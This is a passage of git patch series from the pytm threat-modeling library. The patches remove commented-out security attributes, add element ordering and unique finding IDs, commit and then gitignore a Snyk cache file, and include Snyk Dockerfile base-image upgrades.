-#that can be used just once in a cryptographic communication.
-#It is often a random or pseudo-random number issued in an authentication protocol
-#to ensure that old communications cannot be reused in replay attacks.
-#They can also be useful as initialization vectors and in cryptographic
-#hash functions.""",
-#    )
     handlesResources = varBool(False)
-#    definesConnectionTimeout = varBool(False)
-#    authenticatesDestination = varBool(
-#        False,
-#        doc="""Verifies the identity of the destination,
-#for example by verifying the authenticity of a digital certificate.""",
-#    )
-#    checksDestinationRevocation = varBool(
-#        False,
-#        doc="""Correctly checks the revocation status
-#of credentials used to authenticate the destination""",
-#    )
-#    authenticatesSource = varBool(False)
-#    authorizesSource = varBool(False)
-#    hasAccessControl = varBool(False)
-#    validatesInput = varBool(False)
-#    sanitizesInput = varBool(False)
-#    checksInputBounds = varBool(False)
-#    encodesOutput = varBool(False)
-#    handlesResourceConsumption = varBool(False)
-#    authenticationScheme = varString("")
     usesEnvironmentVariables = varBool(False)
     OS = varString("")
-#    providesIntegrity = varBool(False)
 
     def __init__(self, name, **kwargs):
         super().__init__(name, **kwargs)
@@ -1571,33 +1534,10 @@ def _shape(self):
 class Server(Asset):
     """An entity processing data"""
 
-    #providesConfidentiality = varBool(False)
-    #providesIntegrity = varBool(False)
-    #validatesHeaders = varBool(False)
-    #encodesHeaders = varBool(False)
-    #implementsCSRFToken = varBool(False)
-    #isResilient = varBool(False)
     usesSessionTokens = varBool(False)
-    #usesEncryptionAlgorithm = varString("")
     usesCache = varBool(False)
     usesVPN = varBool(False)
-    #usesCodeSigning = varBool(False)
-    #validatesContentType = varBool(False)
-    #invokesScriptFilters = varBool(False)
-    #usesStrongSessionIdentifiers = varBool(False)
-    #implementsServerSideValidation = varBool(False)
     usesXMLParser = varBool(False)
-    #disablesDTD = varBool(False)
-    #implementsStrictHTTPValidation = varBool(False)
-    #implementsPOLP = varBool(
-    #    False,
-    #    doc="""The principle of least privilege (PoLP),
-#also known as the principle of minimal privilege or the principle of least authority,
-#requires that in a particular abstraction layer of a computing environment,
-#every module (such as a process, a user, or a program, depending on the subject)
-#must be able to access only the information and resources
-#that are necessary for its legitimate purpose.""",
-#    )
 
     def __init__(self, name, **kwargs):
         super().__init__(name, **kwargs)
@@ -1625,24 +1565,8 @@ class Datastore(Asset):
     )
     storesSensitiveData = varBool(False)
     isSQL = varBool(True)
-#    providesConfidentiality = varBool(False)
-#    providesIntegrity = varBool(False)
     isShared = varBool(False)
     hasWriteAccess = varBool(False)
-#    handlesResourceConsumption = varBool(False)
-#    isResilient = varBool(False)
-#    handlesInterruptions = varBool(False)
-#    usesEncryptionAlgorithm = varString("")
-#    implementsPOLP = varBool(
-#        False,
-#        doc="""The principle of least privilege (PoLP),
-#also known as the principle of minimal privilege or the principle of least authority,
-#requires that in a particular abstraction layer of a computing environment,
-#every module (such as a process, a user, or a program, depending on the subject)
-#must be able to access only the information and resources
-#that are necessary for its legitimate purpose.""",
-#    )
-#    isEncryptedAtRest = varBool(False, doc="Stored data is encrypted at rest")
 
     def __init__(self, name, **kwargs):
         super().__init__(name, **kwargs)
@@ -1687,19 +1611,7 @@ class Actor(Element):
     data = varData([], doc="pytm.Data object(s) in outgoing data flows")
     inputs = varElements([], doc="incoming Dataflows")
     outputs = varElements([], doc="outgoing Dataflows")
-#    authenticatesDestination = varBool(
-#        False,
-#        doc="""Verifies the identity of the destination,
-#for example by verifying the authenticity of a digital certificate.""",
-#    )
-#    checksDestinationRevocation = varBool(
-#        False,
-#        doc="""Correctly checks the revocation status
-#of credentials used to authenticate the destination""",
-#   )
     isAdmin = varBool(False)
-    # should not be settable, but accessible
-#    providesIntegrity = False
 
     def __init__(self, name, **kwargs):
         super().__init__(name, **kwargs)
@@ -1711,41 +1623,10 @@ class Process(Asset):
 
     codeType = varString("Unmanaged")
     implementsCommunicationProtocol = varBool(False)
-#    providesConfidentiality = varBool(False)
-#    providesIntegrity = varBool(False)
-#    isResilient = varBool(False)
     tracksExecutionFlow = varBool(False)
-#    implementsCSRFToken = varBool(False)
-#    handlesResourceConsumption = varBool(False)
-#    handlesCrashes = varBool(False)
-#    handlesInterruptions = varBool(False)
     implementsAPI = varBool(False)
-#    usesSecureFunctions = varBool(False)
     environment = varString("")
-#    disablesiFrames = varBool(False)
-#    implementsPOLP = varBool(
-#        False,
-#        doc="""The principle of least privilege (PoLP),
-#also known as the principle of minimal privilege or the principle of least authority,
-#requires that in a particular abstraction layer of a computing environment,
-#every module (such as a process, a user, or a program, depending on the subject)
-#must be able to access only the information and resources
-#that are necessary for its legitimate purpose.""",
-#    )
-#    usesParameterizedInput = varBool(False)
     allowsClientSideScripting = varBool(False)
-#    usesStrongSessionIdentifiers = varBool(False)
-#    encryptsCookies = varBool(False)
-#    usesMFA = varBool(
-#        False,
-#        doc="""Multi-factor authentication is an authentication method
-#in which a computer user is granted access only after successfully presenting two
-#or more pieces of evidence (or factors) to an authentication mechanism: knowledge
-#(something the user and only the user knows), possession (something the user
-#and only the user has), and inherence (something the user and only the user is).""",
-#    )
-#    encryptsSessionData = varBool(False)
-#    verifySessionIdentifiers = varBool(False)
 
     def __init__(self, name, **kwargs):
         super().__init__(name, **kwargs)
@@ -1772,7 +1653,6 @@ class Dataflow(Element):
     responseTo = varElement(None, doc="Is a response to this data flow")
     srcPort = varInt(-1, doc="Source TCP port")
     dstPort = varInt(-1, doc="Destination TCP port")
-#    isEncrypted = varBool(False, doc="Is the data encrypted")
     tlsVersion = varTLSVersion(
         TLSVersion.NONE,
         required=True,
@@ -1780,23 +1660,10 @@ class Dataflow(Element):
     )
     protocol = varString("", doc="Protocol used in this data flow")
     data = varData([], doc="pytm.Data object(s) in incoming data flows")
-#    authenticatesDestination = varBool(
-#        False,
-#        doc="""Verifies the identity of the destination,
-#for example by verifying the authenticity of a digital certificate.""",
-#    )
-#    checksDestinationRevocation = varBool(
-#        False,
-#        doc="""Correctly checks the revocation status
-#of credentials used to authenticate the destination""",
-#    )
-#    authenticatedWith = varBool(False)
     order = varInt(-1, doc="Number of this data flow in the threat model")
-#    implementsAuthenticationScheme = varBool(False)
     implementsCommunicationProtocol = varBool(False)
     note = varString("")
     usesVPN = varBool(False)
-#    authorizesSource = varBool(False)
     usesSessionTokens = varBool(False)
 
     def __init__(self, source, sink, name, **kwargs):

From a789c2c237283946597ba73e5aaa5f657a41a247 Mon Sep 17 00:00:00 2001
From: snyk-bot <snyk-bot@snyk.io>
Date: Sun, 14 Nov 2021 05:14:34 +0000
Subject: [PATCH 39/86] fix: Dockerfile to reduce vulnerabilities

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 54d51bd9..1c095ff5 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,4 +1,4 @@
-FROM python:3.10.0rc1-alpine3.13
+FROM python:3-alpine3.13
 
 WORKDIR /usr/src/app
 ENTRYPOINT ["sh"]

From 33c395760ecfc7441f82d2c422d56af674a667b4 Mon Sep 17 00:00:00 2001
From: snyk-bot <snyk-bot@snyk.io>
Date: Mon, 15 Nov 2021 06:11:39 +0000
Subject: [PATCH 40/86] fix: Dockerfile to reduce vulnerabilities

The following vulnerabilities are fixed with an upgrade:
- https://snyk.io/vuln/SNYK-ALPINE313-BUSYBOX-1920750
- https://snyk.io/vuln/SNYK-ALPINE313-BUSYBOX-1920751
- https://snyk.io/vuln/SNYK-ALPINE313-BUSYBOX-1920752
- https://snyk.io/vuln/SNYK-ALPINE313-BUSYBOX-1920759
- https://snyk.io/vuln/SNYK-ALPINE313-BUSYBOX-1920760
---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 54d51bd9..1cf37a4a 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,4 +1,4 @@
-FROM python:3.10.0rc1-alpine3.13
+FROM python:3.10-alpine3.13
 
 WORKDIR /usr/src/app
 ENTRYPOINT ["sh"]

From c458cae91c5d16007abec7b081d3172187797380 Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 7 Feb 2022 15:38:15 +0100
Subject: [PATCH 41/86] Adding includeOrder property to Element and adds order
 to name when true

---
 .dccache     |  1 +
 pytm/pytm.py | 10 +++++++---
 2 files changed, 8 insertions(+), 3 deletions(-)
 create mode 100644 .dccache

diff --git a/.dccache b/.dccache
new file mode 100644
index 00000000..8bd35b77
--- /dev/null
+++ b/.dccache
@@ -0,0 +1 @@
+{"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/setup.py":[1172,1642158280939.523,"ed23abe5acf72c844572cae218fe2005ab2045a7de53b83df6f207d3ff89eb0b"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tm.py":[3960,1642158280947.5244,"5ef8255031b9ef8a2d2d6517e92cd82cce81189673ec6afaba24a8f29b0e48b7"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/json.py":[3232,1642158280931.5227,"128047d952b09de0e8e31efaa751054dbd2d5fcb6d79bb73b0b56594443e4fef"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/pytm.py":[62996,1643904520252.11,"5d461c8dc13dbb52a5f3ef5fb072563f599451796adda0442bfbaab999f03027"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/report_util.py":[1337,1642158280931.5227,"af164d1c43a9b2688cb87bf5687d1954febf356024e434fdc0a15776e0961bba"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/template_engine.py":[3586,1642158280931.5227,"fe30652114e4570a2a3540137217794f80dcbfc102c5d467e5342c0b953ba3dc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/__init__.py":[1234,1642158280931.5227,"2bb0a1dade8cf6f6ff1c197f152cda8cf0370e25e159ef331133613b902402d2"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/test_private_func.py":[9475,1642158280947.5244,"a69468e11fb41bc7f56eb7d96e502e523773f94bee62ce457a16ace9bdb1f8bc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/test_pytmfunc.py":[49082,1643904266318.3647,"6356c8a31767ecf651738dde9bba8e7c859ad048c0fc6803ca3e2b613b045390"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/__init__.py":[0,1642158280939.523,"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/docs/pytm/index.html":[173903,1642158280923.5234,"105996e3243916849444da7a3df813ae162779005ffe994a2f55d84e503b7cce"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\setup.py":[1172,1642158280939.523,"ed23abe5acf72c844572cae218fe2005ab2045a7de53b83df6f207d3ff89eb0b"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\tm.py":[3960,1642158280947.5244,"5ef8255031b9ef8a2d2d6517e92cd82cce81189673ec6afaba24a8f29b0e48b7"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\json.py":[3232,1642158280931.5227,"128047d952b09de0e8e31efaa751054dbd2d5fcb6d79bb73b0b56594443e4fef"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\pytm.py":[62996,1643904520252.11,"5d461c8dc13dbb52a5f3ef5fb072563f599451796adda0442bfbaab999f03027"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\report_util.py":[1337,1642158280931.5227,"af164d1c43a9b2688cb87bf5687d1954febf356024e434fdc0a15776e0961bba"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\template_engine.py":[3586,1642158280931.5227,"fe30652114e4570a2a3540137217794f80dcbfc102c5d467e5342c0b953ba3dc"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\tests\\test_private_func.py":[9475,1642158280947.5244,"a69468e11fb41bc7f56eb7d96e502e523773f94bee62ce457a16ace9bdb1f8bc"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\__init__.py":[1234,1642158280931.5227,"2bb0a1dade8cf6f6ff1c197f152cda8cf0370e25e159ef331133613b902402d2"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\tests\\test_pytmfunc.py":[49082,1643904266318.3647,"6356c8a31767ecf651738dde9bba8e7c859ad048c0fc6803ca3e2b613b045390"]}
\ No newline at end of file
diff --git a/pytm/pytm.py b/pytm/pytm.py
index b18a197c..5128d732 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -1295,11 +1295,15 @@ class Element:
         doc="Location of the source code that describes this element relative to the directory of the model script.",
     )
     controls = varControls(None)
+    includeOrder = varBool(
+        False, doc="If True and Order is set, the displayed name will be formatted as 'order:name'. If you make Order unique, this will give you a stable reference you can use for synchronization etc.")
+    order = varInt(-1, doc="Number of this element in the threat model")
 
     def __init__(self, name, **kwargs):
         for key, value in kwargs.items():
             setattr(self, key, value)
-        self.name = name
+        if self.includeOrder is True:
+            self.name = "{}:{}".format(self.order, name)
         self.controls = Controls()
         self.uuid = uuid.UUID(int=random.getrandbits(128))
         self._is_drawn = False
@@ -1890,8 +1894,8 @@ def encode_element_threat_data(obj):
                v = getattr(o, a)
                if (type(v) is not list or (type(v) is list and len(v) != 0)):
                   c._safeset(a, v)
-                 
-       encoded_elements.append(c)    
+
+       encoded_elements.append(c)
 
     return encoded_elements
 

From d416824bc91232c8a768f57c7761182c38e6a629 Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 7 Feb 2022 16:15:14 +0100
Subject: [PATCH 42/86] Adding uniqueId to Finding

---
 .dccache     | 2 +-
 pytm/pytm.py | 9 ++++++++-
 2 files changed, 9 insertions(+), 2 deletions(-)

diff --git a/.dccache b/.dccache
index 8bd35b77..c03cf4e2 100644
--- a/.dccache
+++ b/.dccache
@@ -1 +1 @@
-{"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/setup.py":[1172,1642158280939.523,"ed23abe5acf72c844572cae218fe2005ab2045a7de53b83df6f207d3ff89eb0b"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tm.py":[3960,1642158280947.5244,"5ef8255031b9ef8a2d2d6517e92cd82cce81189673ec6afaba24a8f29b0e48b7"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/json.py":[3232,1642158280931.5227,"128047d952b09de0e8e31efaa751054dbd2d5fcb6d79bb73b0b56594443e4fef"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/pytm.py":[62996,1643904520252.11,"5d461c8dc13dbb52a5f3ef5fb072563f599451796adda0442bfbaab999f03027"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/report_util.py":[1337,1642158280931.5227,"af164d1c43a9b2688cb87bf5687d1954febf356024e434fdc0a15776e0961bba"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/template_engine.py":[3586,1642158280931.5227,"fe30652114e4570a2a3540137217794f80dcbfc102c5d467e5342c0b953ba3dc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/__init__.py":[1234,1642158280931.5227,"2bb0a1dade8cf6f6ff1c197f152cda8cf0370e25e159ef331133613b902402d2"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/test_private_func.py":[9475,1642158280947.5244,"a69468e11fb41bc7f56eb7d96e502e523773f94bee62ce457a16ace9bdb1f8bc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/test_pytmfunc.py":[49082,1643904266318.3647,"6356c8a31767ecf651738dde9bba8e7c859ad048c0fc6803ca3e2b613b045390"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/__init__.py":[0,1642158280939.523,"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/docs/pytm/index.html":[173903,1642158280923.5234,"105996e3243916849444da7a3df813ae162779005ffe994a2f55d84e503b7cce"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\setup.py":[1172,1642158280939.523,"ed23abe5acf72c844572cae218fe2005ab2045a7de53b83df6f207d3ff89eb0b"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\tm.py":[3960,1642158280947.5244,"5ef8255031b9ef8a2d2d6517e92cd82cce81189673ec6afaba24a8f29b0e48b7"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\json.py":[3232,1642158280931.5227,"128047d952b09de0e8e31efaa751054dbd2d5fcb6d79bb73b0b56594443e4fef"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\pytm.py":[62996,1643904520252.11,"5d461c8dc13dbb52a5f3ef5fb072563f599451796adda0442bfbaab999f03027"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\report_util.py":[1337,1642158280931.5227,"af164d1c43a9b2688cb87bf5687d1954febf356024e434fdc0a15776e0961bba"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\template_engine.py":[3586,1642158280931.5227,"fe30652114e4570a2a3540137217794f80dcbfc102c5d467e5342c0b953ba3dc"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\tests\\test_private_func.py":[9475,1642158280947.5244,"a69468e11fb41bc7f56eb7d96e502e523773f94bee62ce457a16ace9bdb1f8bc"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\__init__.py":[1234,1642158280931.5227,"2bb0a1dade8cf6f6ff1c197f152cda8cf0370e25e159ef331133613b902402d2"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\tests\\test_pytmfunc.py":[49082,1643904266318.3647,"6356c8a31767ecf651738dde9bba8e7c859ad048c0fc6803ca3e2b613b045390"]}
\ No newline at end of file
+{"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/setup.py":[1172,1642158280939.523,"ed23abe5acf72c844572cae218fe2005ab2045a7de53b83df6f207d3ff89eb0b"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tm.py":[3960,1642158280947.5244,"5ef8255031b9ef8a2d2d6517e92cd82cce81189673ec6afaba24a8f29b0e48b7"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/json.py":[3232,1642158280931.5227,"128047d952b09de0e8e31efaa751054dbd2d5fcb6d79bb73b0b56594443e4fef"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/pytm.py":[63261,1644245760750.3005,"7e34d5318a9949db43bdeaddcbf796f1704cc9a883c4058dd6d841348a745dfc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/report_util.py":[1337,1642158280931.5227,"af164d1c43a9b2688cb87bf5687d1954febf356024e434fdc0a15776e0961bba"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/template_engine.py":[3586,1642158280931.5227,"fe30652114e4570a2a3540137217794f80dcbfc102c5d467e5342c0b953ba3dc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/__init__.py":[1234,1642158280931.5227,"2bb0a1dade8cf6f6ff1c197f152cda8cf0370e25e159ef331133613b902402d2"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/test_private_func.py":[9475,1642158280947.5244,"a69468e11fb41bc7f56eb7d96e502e523773f94bee62ce457a16ace9bdb1f8bc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/test_pytmfunc.py":[49082,1643904266318.3647,"6356c8a31767ecf651738dde9bba8e7c859ad048c0fc6803ca3e2b613b045390"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/__init__.py":[0,1642158280939.523,"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/docs/pytm/index.html":[173903,1642158280923.5234,"105996e3243916849444da7a3df813ae162779005ffe994a2f55d84e503b7cce"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\pytm.py":[63261,1644245760750.3005,"7e34d5318a9949db43bdeaddcbf796f1704cc9a883c4058dd6d841348a745dfc"]}
\ No newline at end of file
diff --git a/pytm/pytm.py b/pytm/pytm.py
index 5128d732..7b134238 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -652,6 +652,8 @@ class Finding:
 """,
     )
     cvss = varString("", required=False, doc="The CVSS score and/or vector")
+    uniqueId = varString(
+        "", doc="When order is present and includeOrder is true on the object, this will be formatted as findingId:order. E.g. if finding is INP01 and order is 123, the value becomes INP01:123.")
 
     def __init__(
         self,
@@ -809,7 +811,12 @@ def resolve(self):
                     continue
 
                 finding_count += 1
-                f = Finding(e, id=str(finding_count), threat=t)
+                if e.includeOrder is True and e.order != -1:
+                    uniqueId="{}:{}".format(t.id,e.order)
+                else:
+                    uniqueId=str(finding_count)
+
+                f = Finding(e, id=str(finding_count), threat=t, uniqueId=uniqueId)
                 logger.debug(f"new finding: {f}")
                 findings.append(f)
                 elements[e].append(f)

From 1531a89ee12bc70580c6d823c020a18e16b32996 Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 7 Feb 2022 16:32:18 +0100
Subject: [PATCH 43/86] expose uniqueId to html rendering

---
 .dccache     | 2 +-
 pytm/pytm.py | 1 +
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.dccache b/.dccache
index c03cf4e2..8761d5a2 100644
--- a/.dccache
+++ b/.dccache
@@ -1 +1 @@
-{"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/setup.py":[1172,1642158280939.523,"ed23abe5acf72c844572cae218fe2005ab2045a7de53b83df6f207d3ff89eb0b"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tm.py":[3960,1642158280947.5244,"5ef8255031b9ef8a2d2d6517e92cd82cce81189673ec6afaba24a8f29b0e48b7"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/json.py":[3232,1642158280931.5227,"128047d952b09de0e8e31efaa751054dbd2d5fcb6d79bb73b0b56594443e4fef"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/pytm.py":[63261,1644245760750.3005,"7e34d5318a9949db43bdeaddcbf796f1704cc9a883c4058dd6d841348a745dfc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/report_util.py":[1337,1642158280931.5227,"af164d1c43a9b2688cb87bf5687d1954febf356024e434fdc0a15776e0961bba"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/template_engine.py":[3586,1642158280931.5227,"fe30652114e4570a2a3540137217794f80dcbfc102c5d467e5342c0b953ba3dc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/__init__.py":[1234,1642158280931.5227,"2bb0a1dade8cf6f6ff1c197f152cda8cf0370e25e159ef331133613b902402d2"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/test_private_func.py":[9475,1642158280947.5244,"a69468e11fb41bc7f56eb7d96e502e523773f94bee62ce457a16ace9bdb1f8bc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/test_pytmfunc.py":[49082,1643904266318.3647,"6356c8a31767ecf651738dde9bba8e7c859ad048c0fc6803ca3e2b613b045390"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/__init__.py":[0,1642158280939.523,"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/docs/pytm/index.html":[173903,1642158280923.5234,"105996e3243916849444da7a3df813ae162779005ffe994a2f55d84e503b7cce"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\pytm.py":[63261,1644245760750.3005,"7e34d5318a9949db43bdeaddcbf796f1704cc9a883c4058dd6d841348a745dfc"]}
\ No newline at end of file
+{"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/setup.py":[1172,1642158280939.523,"ed23abe5acf72c844572cae218fe2005ab2045a7de53b83df6f207d3ff89eb0b"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tm.py":[3960,1642158280947.5244,"5ef8255031b9ef8a2d2d6517e92cd82cce81189673ec6afaba24a8f29b0e48b7"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/json.py":[3232,1642158280931.5227,"128047d952b09de0e8e31efaa751054dbd2d5fcb6d79bb73b0b56594443e4fef"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/pytm.py":[63427,1644247688953.1438,"20a25c63f7866ea2a9ba43ba86968cc66d7e11a63e3cb421c73ba7b7847557c4"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/report_util.py":[1337,1642158280931.5227,"af164d1c43a9b2688cb87bf5687d1954febf356024e434fdc0a15776e0961bba"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/template_engine.py":[3586,1642158280931.5227,"fe30652114e4570a2a3540137217794f80dcbfc102c5d467e5342c0b953ba3dc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/__init__.py":[1234,1642158280931.5227,"2bb0a1dade8cf6f6ff1c197f152cda8cf0370e25e159ef331133613b902402d2"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/test_private_func.py":[9475,1642158280947.5244,"a69468e11fb41bc7f56eb7d96e502e523773f94bee62ce457a16ace9bdb1f8bc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/test_pytmfunc.py":[49082,1644247688954.1438,"6356c8a31767ecf651738dde9bba8e7c859ad048c0fc6803ca3e2b613b045390"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/__init__.py":[0,1642158280939.523,"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/docs/pytm/index.html":[173903,1642158280923.5234,"105996e3243916849444da7a3df813ae162779005ffe994a2f55d84e503b7cce"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\pytm.py":[63427,1644247688953.1438,"20a25c63f7866ea2a9ba43ba86968cc66d7e11a63e3cb421c73ba7b7847557c4"]}
\ No newline at end of file
diff --git a/pytm/pytm.py b/pytm/pytm.py
index 7b134238..a84b5bcd 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -1920,6 +1920,7 @@ def encode_threat_data(obj):
         "threat_id",
         "references",
         "condition",
+        "uniqueId"
     ]
 
     if type(obj) is Finding or (len(obj) != 0 and type(obj[0]) is Finding):

From bf51d1ff5fc5cf333cfd4e7d3c82035a1a054933 Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 7 Feb 2022 19:39:52 +0100
Subject: [PATCH 44/86] Let dataflow arrows use includeOrder syntax

---
 pytm/pytm.py | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index a84b5bcd..c1736183 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -1728,7 +1728,10 @@ def __init__(self, source, sink, name, **kwargs):
     def display_name(self):
         if self.order == -1:
             return self.name
-        return "({}) {}".format(self.order, self.name)
+        elif self.includeOrder is True: # order is already included in name
+            return self.name
+        else:
+            return "({}) {}".format(self.order, self.name)
 
     def _dfd_template(self):
         return """{source} -> {sink} [

From 429b82f7aececafa52e68569fde4493b34219d95 Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Sun, 13 Mar 2022 17:26:58 +0100
Subject: [PATCH 45/86] Ignore .dccache and not-in-git

---
 .gitignore | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/.gitignore b/.gitignore
index f67268c8..4292367a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -130,3 +130,9 @@ tm/
 /tests/1.txt
 /tests/0.txt
 /tests/.config.pytm
+
+# local files
+not-in-git/
+
+# Snyk cache
+.dccache

From f6c1cd124cdf7cdb97ea48674736772e57ed5575 Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Sun, 13 Mar 2022 17:27:59 +0100
Subject: [PATCH 46/86] Make datastore a rounded rectangle

---
 pytm/pytm.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index c1736183..4a39b0ea 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -1638,7 +1638,7 @@ def _dfd_template(self):
 """
 
     def _shape(self):
-        return "none"
+        return "rectangle; style=rounded"
 
     def dfd(self, **kwargs):
         self._is_drawn = True

From 12980700d63cd722f2fbc029c4f20236382c7331 Mon Sep 17 00:00:00 2001
From: snyk-bot <snyk-bot@snyk.io>
Date: Wed, 16 Mar 2022 14:18:20 +0000
Subject: [PATCH 47/86] fix: Dockerfile to reduce vulnerabilities

The following vulnerabilities are fixed with an upgrade:
- https://snyk.io/vuln/SNYK-ALPINE313-EXPAT-2406625
- https://snyk.io/vuln/SNYK-ALPINE313-EXPAT-2406626
